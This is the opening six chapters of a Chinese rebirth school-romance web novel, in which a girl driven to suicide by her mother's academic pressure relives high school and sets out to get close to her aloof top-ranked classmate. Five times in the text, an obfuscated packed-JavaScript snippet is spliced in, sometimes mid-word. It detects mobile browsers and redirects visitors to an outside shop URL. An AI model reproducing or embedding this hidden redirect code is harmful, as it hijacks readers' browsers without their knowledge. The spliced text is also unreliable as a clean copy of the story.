《重回少女时代[九零]》 1. 第 1 章 安城的九月,蝉鸣阵阵。 实验高中,高一刚入学的学生终于考完了摸底考试。 周五临近放学,班主任没来,教室里喧闹声不断,安苒在位置上收拾书包,才刚开学,要收拾的东西不多,没一会儿就收拾好了。 同桌胖胖的身子挤了过来,兴冲冲道:“安苒,这次考得怎么样?” 安苒想了想:“还行。” 卢佳慧没被她的冷淡吓退,她们初三就是同桌,高中这么巧被分在一个班,当然是要继续做同桌的。 “我英语错了好多,数学也是,后面大题只写了第一问……” 还没说完,放学铃突然响了。 教室后排传来椅子被拉开的声音,两人一起回头,就见最后几排已经有男生踩着铃声出去了。 安苒望了一眼,视线落在其中最高的那个人身上,对方穿了件白色短袖,露在外面的皮肤却比衣服还要白,经典的冷白皮,黑色的碎发不短不长,干干净净。 哪怕还只是高一这个最尴尬的年纪,就已经很好看了。 卢佳慧顺着她的视线看过去,羡慕道:“傅笙肯定又是第一。” 安苒轻轻嗯了一声,收回视线:“我们也走吧。” 傅笙当然是第一,他每一次都是第一。 除了上辈子的这次摸底考。 这是上辈子她唯一一次超过傅笙的时候,却也是她噩梦更进一步的开始。 她妈和傅笙妈妈是同事,从出生开始,她就长在傅笙的光环下,傅笙的每一次第一都是她没用的证明,哪怕有时候她只是差一点点,却依然逃不过一顿打骂。 而上辈子的这次摸底考,她比傅笙多了两分,迎来的是她平生第一次被夸奖,和更为严苛的盯视与监督。 可即便她被榨干了所有精力,也再没有超过傅笙。 她在高压下坚持了七年,终于坚持不下去了。 可从高楼一跃而下,她却没有死,而是回到了七年前。 她回来时,离最后一门数学考试结束还有一个小时,试卷的最后几个大题还没有写,她半点没犹豫,立刻停笔,就算四十分全扣,她也还是能排在中上。 这个成绩就够了。 回到筒子楼,安建军和徐梅都还没回来。 安苒看了眼冷冰冰的厨房,没打算吃饭,拿了干净的衣服去卫生间洗澡。 路过镜子时,安苒停了下来,镜子里的小姑娘脆嫩青涩,脸上还挂着一点婴儿肥,眼里却夹着格格不入的疲累。 她慢慢眨了下眼,冲着镜子轻轻抬了下唇角,梨涡露了出来。 漂亮又可爱。 重生前,她已经好久没笑过了,安苒在镜子前站了十分钟,然后才匆匆去洗澡。 直到收拾好躺上床,安苒才终于放空了脑袋去想上辈子的事。 说是上辈子,其实只不过是半天前,或许还没有半天,只有两个小时,她闭上眼睛,想到自己从高楼上跳下来的那一瞬,风声伴着人群的惊呼划过耳膜,对她来说是自由,亦是解脱。 安苒不知道自己为什么会重生,其实她没什么执念和遗憾。 毕竟,在那种窒息痛苦的高压下,她只能感觉到无边无际的疲累,根本没有多余的心绪去想其他的事。 只不过,在一跃而下前,她给傅笙打过一个电话。 安苒睁开眼,拥着薄被翻了个身。 上辈子,她对傅笙来说,只是个叫得出名字的陌生人,但傅笙对于她,却是从小到大的噩梦。 她听过无数次有关傅笙的事,考试第一,高考状元,成功保研……只要对方每取得一次成功,她就逃不了一顿打骂。 所以临死前,她最后一个电话是打给傅笙的。 那会儿,她情绪已经崩溃了,拼命宣泄着多年来压抑的愤懑,等她终于说完,电话那边是对方冷漠到极致的声音。 傅笙问她,和我有什么关系? 安苒用力抿了下唇。 她记得这句话说完后,电话便断了,她从高楼跳下时,还在想,这样的极致冷漠的人失控时会是什么样的? 她想象不出来,她想看看。 是因为她这一瞬的胡思乱想,所以才有了重来一次的机会吗? 安苒不知道,但她确实想看看。 * 第二天起来,她还在刷牙。 她妈徐梅的声音就追了过来:“昨天考得怎么样?” 安苒漱干净口:“还行。” “能超过傅笙吗?” 安苒摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526295|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 徐梅脸色不好看,声音扬了起来:“一个暑假,我花钱请人给你补课,补三门!你这都考不过傅笙,书是念到狗肚子里了吗?” 主卧传来咚的一声。 是她爸安建军嫌吵,扔东西砸到门上的声音。 徐梅闭嘴,提着包出门,临走时道:“今天哪也不许去,就待在家里复习。” 安苒沉默的听完,直到大门啪一下被关上,才抬起眼,脸上没多少表情,她早就听习惯了,更何况比起上辈子,这点话算不了什么。 她只要不反驳不辩解,就可以了。 安苒去厨房,给自己煮了一碗面,慢慢吃完。 等回房间,她翻了翻带回来的书,她早就不记得高一的课本了,不过现在才刚开学没多久,知识也不是很难。 她把每一门学科的书都找出来,挨个翻了一遍。 翻完之后,安苒心里就有底了,高一的知识不难,只要稍微用功一点就能拾起来,而且以她多出来七年,想要事半功倍很简单,超过傅笙拿第一也不是做不到。 但是她不愿意。 追逐是一件很累的事,何况要去赶超一个天才,她只是个普通人,还不想那么累。 就算她拼尽全力,真的高中三年都做到比傅笙优秀又能怎么样,普通人和天才之间永远隔着天堑鸿沟,总有被反超的时候。 所以,只要不给她妈希望,就不会有后来的歇斯底里,对每个人都好。 而且,她还有其他事要做。 安苒托着腮,在纸上写下傅笙两个字。 她要怎么才能看到对方失控呢?安苒垂眼想了会儿,又写了两个字,攻心。 目前她卡在第一步,她和傅笙不熟,她又要怎样才能靠近一个理智又冷静的人,继而攻心呢? 刻意的逢迎和讨好是没有用的,故意招惹也没有用,哪怕她知道未来七年的事,也没有任何成功经验可学,她没有见过傅笙对任何女孩子表示过亲近,不过可以排除错误答案。 安苒想,大约只有温吞缓慢,不着痕迹的靠近,才能默不作声地在对方毫无防备下占据一块地方。 那就试试吧,给她无趣的重来人生添一点生气。 安苒抿起唇角,终于又露出一个笑来。 2. 第 2 章 星期一,上学。 老师们加班加点了一个周末,把试卷全都批改了出来。 课间发试卷时,教室里乱糟糟一片,夸张的哀嚎声此起彼伏。 安苒一张接一张的收,卢佳慧在旁边一连看了她几张试卷的分数,眼睛都瞪大了:“哇,安安,你这次成绩说不定要比傅笙高。” 卢佳慧声音有点大,四下小范围地安静了一瞬,又闹哄哄起来。 发数学卷子的同学没憋住下笑嗤了一声,对上安苒的视线后,赶紧将手里的数学试卷扔下,然后拔腿跑了。 比起另外几门,数学成绩惨不忍难度,刚刚过及格线。 卢佳慧张了张嘴,缩着脑袋小声:“对不起。” 安苒摇头:“没关系。” 她把试卷挨个翻了翻,虽然是上周五的考试,但对她来说隔了七年,她完全不知道这次摸底考考了哪些题。 在翻到数学试卷的时候,卢佳慧看着她空着的大题,疑惑道:“怎么都没写,这些题的第一小问还是很简单的,安安你考试的时候肚子疼吗?” 她这回眼睛依旧瞪大了,不过记得压低声音了。 安苒:“我不想考太好。” 卢佳慧:“为什么?” 安苒冲她笑了下:“秘密。” 小卢同学嘴很严,是她学生时代为数不多的好朋友,后来压力太大,没有多余的精力去维护朋友关系,就慢慢走散了。 安苒捏着指头在嘴唇上划拉了下,眨了眨眼睛:“记得替我保密。” 卢佳慧虽然不明所以,但还是认真点了点头,语气坚定地哦了一声。 上午最后一节课上课前,班长把成绩排名贴了出来。 安苒没看自己,先看第一排,在看到傅笙名字后才挨个慢慢往下找,数到第18个的时候找到了自己的名字。 安全又合适的位置,和她的学号一样。 卢佳慧搂着她胳膊,小声咬耳朵:“好可惜,要是你数学试卷写全了,说不定能拿第一。” 安苒不觉得可惜:“这次拿到第一,下次说不定就拿不到了。” 卢佳慧声音又压低了一点:“就算拿一次也很好啊,这可是超过傅笙的机会!” 安苒开玩笑道:“要是只能拿一次,那我一定要放在高考再去拿。” 卢佳慧跟着笑了起来:“说得也是。” 安苒又看了看自己的分数,觉得数学成绩还是太过醒目了,和其他几门放在一起太过格格不入,不过好在并没什么人会关注她。 下午第二节,体育课。 全班一起学教育局新改的一套广播体操,学完之后,就是自由活动。 卢佳慧拉着她去操场旁边的小卖铺买冰棍,两人凑在冰柜前,卢佳慧热得不行:“快挑快挑,你吃什么,我请你!” 安苒随便拿了一个。 两人拿着冰棍回教室,路过操场看到班上好多人都挤在篮球场边上。 安苒站定朝篮球场上望了一眼,就看到傅笙高高跃起的身影,下一秒扣篮得分。 场边爆发出一阵热烈的欢呼,安苒看着傅笙笑着和队友击掌,比起日后,这个时候的傅笙还是个少年人,骨子里的冷漠掩盖不住独属青春期的活力张扬,哪怕对不熟的人十分疏远,但朋友之间的玩闹还是有的。 她看了一会就收回了视线。 卢佳慧问她:“大家好像都在,要去看看吗?” 安苒摇头:“不去。” 卢佳慧十分高兴:“我也不想去,外面太热了。”她比起同龄人有点胖,最怕的就是夏天,安城的夏天又热又长。 两人慢悠悠回教室,有一搭没一搭地乱聊。 “昨天出去玩了吗?” “没有。” “我也没有。” “这周出去玩怎么样?” “出不去。” “为什么啊?” “考得不好。” “这还不好?要死我考能考到这个成绩,我爸妈能高兴死!”卢佳慧皱了下鼻子,不过想到安苒的妈妈,顿时蔫了下来:“你妈要求确实高。” 安苒将棒冰棍子扔掉,去洗手:“等天气凉快下来,我们再约出去玩。” 卢佳慧高兴起来:“那正好,现在太热了。” 高一还没有晚自习,五点半准时放学。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526296|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安苒收拾书包回家,要是放在上辈子,拿着这样的成绩单回家,她会忐忐忑忑一路,然后在愧疚和害怕情绪中等来一顿劈头盖脸的打骂。 不过重来一次,她心里异常平静,一点波澜也没有。 只要不在乎,就可以做到无所谓,她已经死过一次了,怎么可能还会在意这些。 徐梅在听到她18名的成绩后,脸冷了下来。 “傅笙呢?” “第一。” 徐梅没说话,只是呼吸加重了些许,安苒不用抬头看就能猜到她妈此刻的表情——狰狞扭曲以及恨铁不成钢。 “哪一门考得差了?” “数学。” 安苒从书包里翻出一份试卷,不是她的,是卢佳慧的,她们这次数学分数一样,也省了她再找老师要一份空白的。 徐梅用力把试卷翻了下,然后拍在她面前:“我看你长了个猪脑袋,让猪来做也不会错这么多!今晚全订正完,不然不许睡觉!” 安苒看着试卷,她连试卷最上面的名字都没有改,字迹也不一样,但丝毫没被发现。 徐梅在乎的只有成绩,看到的自然也只有分数。 “你初中的时候数学不是最好吗?” 安苒一边翻出今晚要做的作业,一边道:“高中的知识太难了,我跟不上。” 徐梅骂了几句没用,一锤定音:“去上补习班!” 紧跟着就带门出去了。 安苒毫不意外,实际上她数学确实是所有学科里成绩最好的,但她穿过来的时间不凑巧,摸底考只剩最后一门了,不然她动手脚还能动得再自然一点。 不过,这样倒是正好。 她记得傅笙高中有去过一家数学补习班。 天才是不用上补习班的,但那家的老师是傅笙的亲戚,用实验中学全校第一来做噱头,能招到更多的学生。 上辈子她数学很好,她妈觉得用不着在数学这门科上浪费时间,她自然就没有去过。 但这次不一样。 她妈肯定能打听到那个补习班,然后把她送过去。 安苒将草稿纸上的答案填好,继续写下一题。 3. 第 3 章 几天后,安苒就等来了去补习班的通知。 补习班离家不远也不近,三条街,安苒选择步行。 徐梅喊安建军送她,没喊动,安苒丝毫不觉得意外,她爸一向只在意自己的事,这个家对他似乎可有可无。 上辈子她在知道她爸出轨后,劝过她妈离婚,结果她妈让她滚,骂她见不得她好,安苒从此明白了一个道理,千万不要插手别人的感情,父母也不行。 她有一辆小自行车,骑车去的话,只要十五分钟就能到。 但是她不想待在家里,所以选择步行,提前出门。 三条街走了半个多小时,安苒踩着点到,补习班就在老师家客厅,一共也没几个人,稀稀疏疏地坐着。 原本一张桌子有两个座位,但人少,所以基本都是每个人独占一个。 傅笙已经到了,坐在最前面的位置。 安苒只犹豫了一秒,就走到傅笙旁边的位置,拉开凳子坐下。 傅笙头也没抬,在做卷子。 安苒用余光看了一眼,不是数学,是周末两天的家庭作业,她没觉得意外,傅笙本来也不是来补习的,权当换个地方写作业。 补习班的孙老师不是他们学校的,安苒没见过,知道孙老师和傅笙有亲戚关系还是上辈子听卢佳慧说的,小卢同学十分八卦,在外面听完了就回来告诉她。 安苒在心里默默感谢了一下小卢同学。 刚坐好,孙老师拿了张卷子过来:“一个半小时做完,然后开始讲题。” 安苒点头应了声好。 这个时候的补习班都差不多,做卷子,然后讲题。 安苒拿到卷子看了眼,上面的题目应该是孙老师手写然后再印出来的,题目不难,十分基础。 她写得心不在焉,拿一旁的傅笙当消遣。 每做一题都要瞥上一眼,然后安苒就发现对方右手无名指的指节处有一颗小痣,十分可爱,不仔细看的话根本发现不了。 大约是这次看得时间有点长,傅笙抬了抬头。 安苒垂眼,收回了视线。 一个半小时,足够她做完整张试卷了。 孙老师也没检查,清了清嗓子直接就开始了讲题,从第一题开始讲,枯燥且无聊。 安苒有一搭没一搭地听着,她知道自己没有做错的地方,高一的知识对她不算难,这两周的作业,不管哪一科,完成起来都十分轻松。 她前几天终于把每个学科的教科书都认真翻过一遍,给自己列了个学习计划的同时,甚至还想起来几道高考题。 不过也就只有几道罢了,毕竟按她的记忆,参加高考还是四年前的事。 试卷讲到反面的时候,傅笙写完了周末的作业。 安苒在他换书时,指尖慢慢推了一下放在桌上的笔,圆柱形的水笔轱辘一下滚了下去,掉在傅笙的脚边。 傅笙动作顿了下,弯腰把笔拾起来放在她桌上。 安苒小声说了句:“谢谢。” 傅笙略微点了下头,没说话。 安苒拿过笔转了两下,收回视线,之后的一个小时,她没再朝旁边看一眼。 两个半小时的补习结束。 安苒还在收拾书包,傅笙已经下楼,她不紧不慢地落在后面,从楼里出来时正好看到对方骑车离开。 九月的热风顺着衣摆灌进去,白色的T恤鼓了起来,张扬热烈。 安苒的视线顺着傅笙一路往前,一直到对方转过街角。 之后的一周,安苒照常上学。 在学校,她和傅笙完全没有交集,哪怕他们在一个班,也从来没有过任何交流。 其实她和傅笙从小学开始就在一个学校,初中三年都在同一个班,然而这个时候的傅笙大概连她名字都叫不出来。 这周的周五是十月一号,这会儿还没有十一小长假,国庆只放两天,不过加上周日的一天,一共能放三天。 周四放学的时候,安苒听卢佳慧说:“高三的放完这两天,周末还要来学校补课。” “等我们升高三,不会也这么惨吧?” 安苒:“或许更惨。” 她记得,自己高三那年,周末只放半天假,还是上午的半天。 卢佳慧哀嚎了一声:“我不信!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526297|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 嚎完就背着书包,拉上她朝校门口冲:“快,早一分钟出校门就多一分钟假期!” 安苒也跟着跑了起来。 国庆假期,补习班上课的时间定在十月二号。 安苒提早了一刻钟出发,她家和傅笙家隔的不远,出了孙老师家后有一段路是一样的。 上回去的时候,傅笙已经到了,所以这次她特意提前了会儿,只不过一直到快到补习班楼下也没有撞见人,安苒在心里默默叹了口气,看来下周还要再早些。 刚想完,身后就传来自行车驶过马路的声音。 安苒回头,傅笙骑车从小巷外过来,一直骑到她身边才停下,当然不是因为她,只是她正好站在停车的雨棚前。 她让开一点,方便对方推车进去。 安苒:“傅笙。” 傅笙锁好车,直起身子,朝她看过来,不明白她为什么要叫他名字,声音有点冷,脸上也没什么表情:“什么事?” 安苒抿嘴笑了下:“只是打招呼。” 傅笙点点头,不觉得这有什么值得打招呼的。 安苒道:“我们初中同班了三年,这还是你第一次和我说话。” 傅笙表情没变,还挂着之前那副疏离冷淡的神色,安苒在他眼里读出了我们不熟的意思,不过她不在意,只当没看到。 “周阿姨身体怎么样?” “上周听我妈说,周阿姨病了,现在好了吗?” 周倩是傅笙的妈妈,她妈确实在家里说过对方生病的事,不过原话很难听,如果照实复述,傅笙大概会一拳打到她脸上。 安苒漫不经心地想,脸上还是笑盈盈的样子。 傅笙嗯了声:“已经好了。” 安苒笑道:“那就好。” 她和傅笙一起到孙老师家,因为来得早,所以空位还有很多。 安苒落在后面一步,完全没看那些空着的座位,在傅笙坐下后,就直接坐在了对方旁边。 傅笙看着她皱了下眉。 安苒把书包放好,抬头看了回去:“怎么了?” 两秒后,傅笙收回了视线。 4. 第 4 章 重生回来快一个月,她和傅笙说了第一句话。 进展虽然十分缓慢,但比上辈子七年来的相处还要多,安苒很满意。 她目前没有在学校和对方搭话的计划,太过刻意的话,会招到傅笙的反感,而且在学校里她实在没有接近傅笙的理由。 不过课间没事的时候,安苒会下意识去看傅笙在做什么。 她发现傅笙会在上午两节课后去喝水,下午最后一节课前偶尔会和后排几个男生一起去小卖铺买东西。 至于课间打闹,她从没见傅笙参加过,那些男生好像也默认对方不会参加。 这一周,安苒过得风平浪静。 上次的摸底考,班主任基本没怎么重视,所以她得以逃过一劫。 但凡哪科老师翻过她的卷子,她就要费力解释为什么数学空了那么多没写,说不定还会被她妈察觉出异常。 安苒并不怎么想受老师的关注,上辈子因为她成绩一直排在前茅,所以老师和她妈联系地十分频繁,她几乎没有任何可以自由支配的时间。 比起要受到那种关注,她宁愿当一个安静的透明人。 周六的补习班,安苒去的迟了。 傅笙旁边的位置照例是空着的,毕竟他们班来上孙老师课的人就只有她和傅笙。 安苒先去拿了空白试卷,回来翻了几下书包,脸上露出了尴尬的表情。 她朝旁边看了好几下。 因为太过刻意,傅笙察觉到了她的视线,扭过脸,眼神很冷。 安苒抿了抿唇:“我忘了带笔袋了。” 她脸上的窘迫和紧张肉眼可见,放一壶水上去大概立刻就能烧起来,声音也小的可怜。 几秒钟后,傅笙递了支黑色水笔过来。 安苒飞快道了声谢。 接过笔后,就立刻埋头做起了卷子。 一个半小时后,孙老师清了清嗓子,开始讲题,傅笙随意朝旁边看了眼,看到安苒正急急忙忙把试卷翻过来,翻过来前,他看到她最后面接近四分之一题全都空着,显然还没做完。 安苒低着头,认真听讲,每一题不管对错都要往试卷上记点什么。 题目快讲完的时候,傅笙下意识又朝旁边看了眼,一张卷子,几乎被写满了,因为都是黑笔写的,所以看不出对错。 他本来想再仔细看一眼,安苒已经把试卷收起来了。 对方把笔朝他递来时,又小声说了句谢谢。 傅笙没接:“不用还了。” 安苒顿了下,默默将笔收了回去,拎着书包走了。 傅笙皱了下眉,莫名觉得安苒有点生气,他不明所以,也不在意,更没有要追上去问的意思。 回家后,安苒把那支笔放进了笔袋里。 周一,上学。 早读课还没结束,卢佳慧就已经眼尖地发现她笔袋里多出来的那支黑水笔了,纯黑色的笔壳放在一堆浅色的外壳中实在过于突兀。 等下课,卢佳慧立刻凑过来扒拉了两下她的笔袋,视线灼灼地问:“哪来的笔?” 安苒:“我买的,发现挺好写就买了。” 卢佳慧半信半疑:“真的吗?” 她拿来在纸上试了试,又放回了安苒的笔袋:“也就一般般吧。” “不过这笔壳跟其他的也太不搭了。”卢佳慧说完又扒拉了几下,将黑笔给埋了进去才满意:“眼不见为净。” 安苒只笑了笑,没管。 之后几次去孙老师家,不管来得早还是晚,安苒都一直坐在傅笙旁边。 补习班的人都习惯了,甚至有新来的人想坐安苒的位置,还会被其他人提醒那个位置已经有人坐了。 那支笔一直留在安苒的笔袋里,没再用过。 因为对比过于显眼,想不注意到都很难,傅笙每一次都能看到,每次看到都会生出要回来的念头,但现在再要回来,实在太奇怪了。 安苒对傅笙的想法心知肚明,她就是故意的。 甚至她笔袋里的那些笔也是穿回来后再一个个全都换成浅色的。 她能接近傅笙的时候不多,总要先留下点印象才行。 周二,出早操前,班主任通知:“这周五期中考。” 教室里一阵哀嚎,卢佳慧皱着脸,苦哈哈道:“不是刚刚才考完摸底考,怎么又要考试了?” 安苒道:“摸底考已经过去两个月了。” “啊!时间怎么过得这么快。” 班主任在讲台上清了两下嗓子:“底下的人不要交头接耳。” 卢佳慧缩了下脖子,赶紧坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526298|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 晚上,安苒回家,徐梅第一句话就是:“这周要期中考了?” 安苒放下书包点了点头,丝毫不觉得意外,只要有考试,她妈总能第一时间知道。 “这次能不能考过傅笙?” 安苒又点了下头,她还是不打算考得太好,之所以点头只是单纯的不想听她妈骂人。 上辈子,她每次都犹犹豫豫说尽量考好,但她妈不满意,要求她一定要做到,非要她说出一个好才算完,所以她直接点头,一步到位。 一晃就到了周五。 除了数学,安苒在答其他几门的时候也稍微控了下分。 等轮到数学考试,这回不用简单粗暴地空一堆大题,她处理起来顺手多了。 两天后,分数下来。 卢佳慧第一时间去翻她的数学卷子,压着声音小声问她:“怎么还这么低,安安,这回你还是故意的啊?” 安苒点头。 “为什么啊?” “好学生是会被老师重点关注的,我不想。” 卢佳慧哦了一声,问她:“那干嘛非得挑数学考得差?” 安苒:“要前后统一。” 卢佳慧竖了个大拇指,她光是顺利做完题就很不容易了,安苒竟然能控分,要是说出去得惊掉不少人下巴,她问:“那你妈妈会不会骂你?” 安苒:“会吧。” 卢佳慧啊了一声,然后十分仗义地表示:“我请你喝汽水。” 安苒没忍住笑了起来,小卢同学明明自己也没考好却还在担心她,她道:“还是换我请你吧。” 两人去小卖铺,撞见班上几个男生也在买东西。 安苒正笑着和卢佳慧说话,眼也没抬直接错身走了过去。 “刚才那个好像是我们班的安苒,笑起来居然有酒窝。” “之前怎么没发现。” “之前没看到她笑过啊,这半学期了,我还没跟她说过话呢。” “我初中跟她一个学校,也没怎么跟她说过话,要不是刚才撞见,我都没发现她有酒窝。” “我记得傅笙你初中也是实验的吧,你们还是一个班的,你见安苒笑过吗?” 说话的几人一齐朝旁边看去。 傅笙顿了下:“没有。” 5. 第 5 章 期中成绩的排名下来后,安苒还是稳稳的18名。 回家后,照例等来了一顿骂,不过因为她没顶嘴,认错态度积极,所以没挨打。 直到临睡前,徐梅还在骂她不争气,那些骂人的话难听且富有创造性,筒子楼的隔音并不好,等到第二天,整栋楼都会知道她没考好。 如果安建军在家,她妈大概会早点消停下来,可惜她爸上船去了。 安苒想到上辈子的自己,每次考完试后都害怕出门,害怕遇见邻居,那些夹杂着同情的看戏般的目光让她愈发难堪。 因为太过在乎,所以才会在意。 不过重来一次,她已经无所谓了,甚至能在摔摔打打的声音中睡着。 第二天,上学。 安苒出门时,遇见了楼下张奶奶,被叫住了:“你妈昨天打你没有?” 安苒摇了摇头。 张奶奶给她塞了个水煮蛋,安慰她道:“好好学,下次考好了,你妈就高兴了。” 安苒嗯了一声。 她没反驳张奶奶的话,但是安苒心里清楚,除非她每一次都能超过傅笙,否则她妈妈永远不会满意的。 上辈子,她没有深究过其中的原因,不知道为什么她妈一定要盯着傅笙不放,如果仅仅是因为傅笙是同事家小孩的话,理由也太牵强了。 安苒大约能猜到一点原因,但没有去求证过。 因为猜到一点,所以重生前她最后一个电话才打给了傅笙。 她思绪飘的有点远。 张奶奶拍了拍她的手:“那就好,那就好。” 安苒收起思绪,抿嘴冲张奶奶笑了下,模样十分乖巧:“张奶奶,我去上学了。” 到学校时,早读课还没开始。 安苒交完作业,才想起来口袋里的水煮蛋,顺手塞给了同桌。 “你不吃吗?” “我吃不下了。” 卢佳慧这才剥壳,三两口吃完,又喝了半杯水,赶在英语老师进教室前翻书开背。 早读课快结束的时候,全班一起合上书默写单词。 安苒写好一个就放下手,方便卢佳慧偷瞄。 一直等全部默写完,组长把默写本收上去后,卢佳慧才松了口气。 早读课下,英语老师带着默写本走人,卢佳慧扭头问她:“昨天刚学的新单词,你都背上啦?” 安苒点头。 卢佳慧:“怎么背的啊,我一个也记不住。” 安苒认真建议:“多背几遍。” 其实上辈子,英语才是她最棘手的一门学科,总是会拖后腿,后来每一次新学单词,徐梅都会在家给她抽查,错上一个就要挨一板子,错多了,手掌心都是肿的。 她为了少挨打,基本都是抓着下课时间在死记硬背,有段时间,她看到单词会想吐。 不过重生前,她刚刚考完研。 现在回到高中,这些单词和语法对她来说已经不难了。 卢佳慧皱了下脸,趴在桌上叹气:“好吧。” * 期中考试后,补习班的人多了起来。 原本一张桌子坐两个人,现在有些桌子要坐三个了,不过也不算太挤。 托傅笙的福,暂且还没人过来挤安苒旁边的位置,所以这张桌子一直都是两个人坐。 安苒扫了下周围的位置,大概等到再下个月,她和傅笙的这张桌子也会坐三个人,到时候傅笙会换位置吗? 她猜大概不会。 只要不烦到傅笙,对方不会主动做什么事。 安苒一边分心一边慢吞吞地写卷子。 等到讲试卷的时候,孙老师中途临时有事被人叫了出去,吩咐他们先自己订正。 原本安静的补习班,两分钟不到就陆陆续续想起来压低了嗓音的说话声,不过倒是没人站起来走动。 安苒朝旁边看了眼,用笔帽抵了抵傅笙的胳膊:“这周的数学卷子能借我看一下吗?” 傅笙没动。 “我刚刚看你写完了。” 傅笙还是没动。 安苒拢了下眉,露出一点可怜兮兮的表情:“我有一道题不太会。” 她把卷子从书包里拿出来,填空题最后一道空在那。 傅笙瞥了眼,直接报了答案:“?”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526299|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安苒连忙写上,然后抬头,和对方大眼对小眼。 大概她的眼神太过直白,这回傅笙没等她开口,另外抽出了张空白的草稿纸,演算好一遍后推给了她。 白纸上的公式流畅漂亮,很像写下这些笔迹的人。 安苒用笔抵了抵下巴,认真算了一遍,算到一半,又小声问道:“这边为什么?” 傅笙终于开口替她讲了一遍。 安苒轻轻笑了下。 傅笙说话的声音并没有特意压着,但周围都在讲话,没人注意到这边。 等讲完,孙老师刚好回来。 安苒连忙把试卷收好,连着傅笙写给她的那张草稿纸一起放进了书包里。 等到补习班下课,安苒赶在傅笙走之前,飞快说了声:“谢谢。” 她本以为傅笙不会理她,没想到对方破天荒的多说了一句:“那道题不难。” 傅笙侧头看她:“周五上课刚刚讲过。” 安苒咬了下腮,心提了提,她以为自己的演技太过拙劣,被看出来了,面上一动不动,脑袋里已经转过好几个补救方法了。 结果,却听傅笙问:“你上课没听?” 安苒头低了下来:“听了。” 她用力掐了掐手心,因为憋笑,脸上有点红,过了会儿才又找补了一句:“没有听懂。” 傅笙皱眉。 “你刚才听懂了,老师和我讲的是一样的。” “老师讲得太快了,我有点跟不上。” 安苒抬起眼睛,眼眶下面有些发红,是刚才强忍着笑意憋出来的,但看上去像是因为他的一句话委屈到要哭出来的样子:“傅笙,不是每个人都像你一样聪明的。” 傅笙愣了下,没再说话。 安苒敏锐地察觉出对方面上的一丝无措。 清傲疏离的少年大概是第一次遇上这样的事,一时不知道该怎么办。 安苒当然不可能解释,她眼睫上下闪了下又垂了下来,小声道:“我先走了,刚才谢谢你讲题。” 说完这一句,她就从傅笙旁边走了过去。 两人错开时,风带起了一点凉意。 6. 第 6 章 之后几次的补习班,安苒和傅笙没再说过话。 入秋之后,天气转凉。 偶有一阵秋雨,落完之后的第二天,天气会更凉一点,虽然还没到穿棉衣的时候,但也快了。 安苒提前了五分钟出门,在早点摊子等自己的豆浆。 刚拿到手中,就有人叫了她一声。 安苒回头,看到对方是谁后,露出了个乖巧的笑来:“周阿姨好。” 她看向傅笙的妈妈,对方眼下发青带着疲色,应该是没有休息好,但就算满脸倦容,周阿姨也依旧十分漂亮,傅笙能长得那么好看,有一大半是对方的功劳。 安苒礼貌地打招呼:“阿姨是刚刚值完夜班吗?” 周倩嗯了一声,拿起挂在自行车车把上的伞,问她:“能不能帮阿姨把伞带给傅笙,今天天色怪暗的,看上去像是要下雨。” 安苒点了点头:“好啊。” 她接过伞,一边喝豆浆,一边往学校走。 格子布纹的长柄伞有点重,安苒喝完了豆浆,换了个手继续拿着。 等走到教室门口,安苒犹豫了下没直接进去,而是绕到后门,顺手把雨伞放在傅笙桌上。 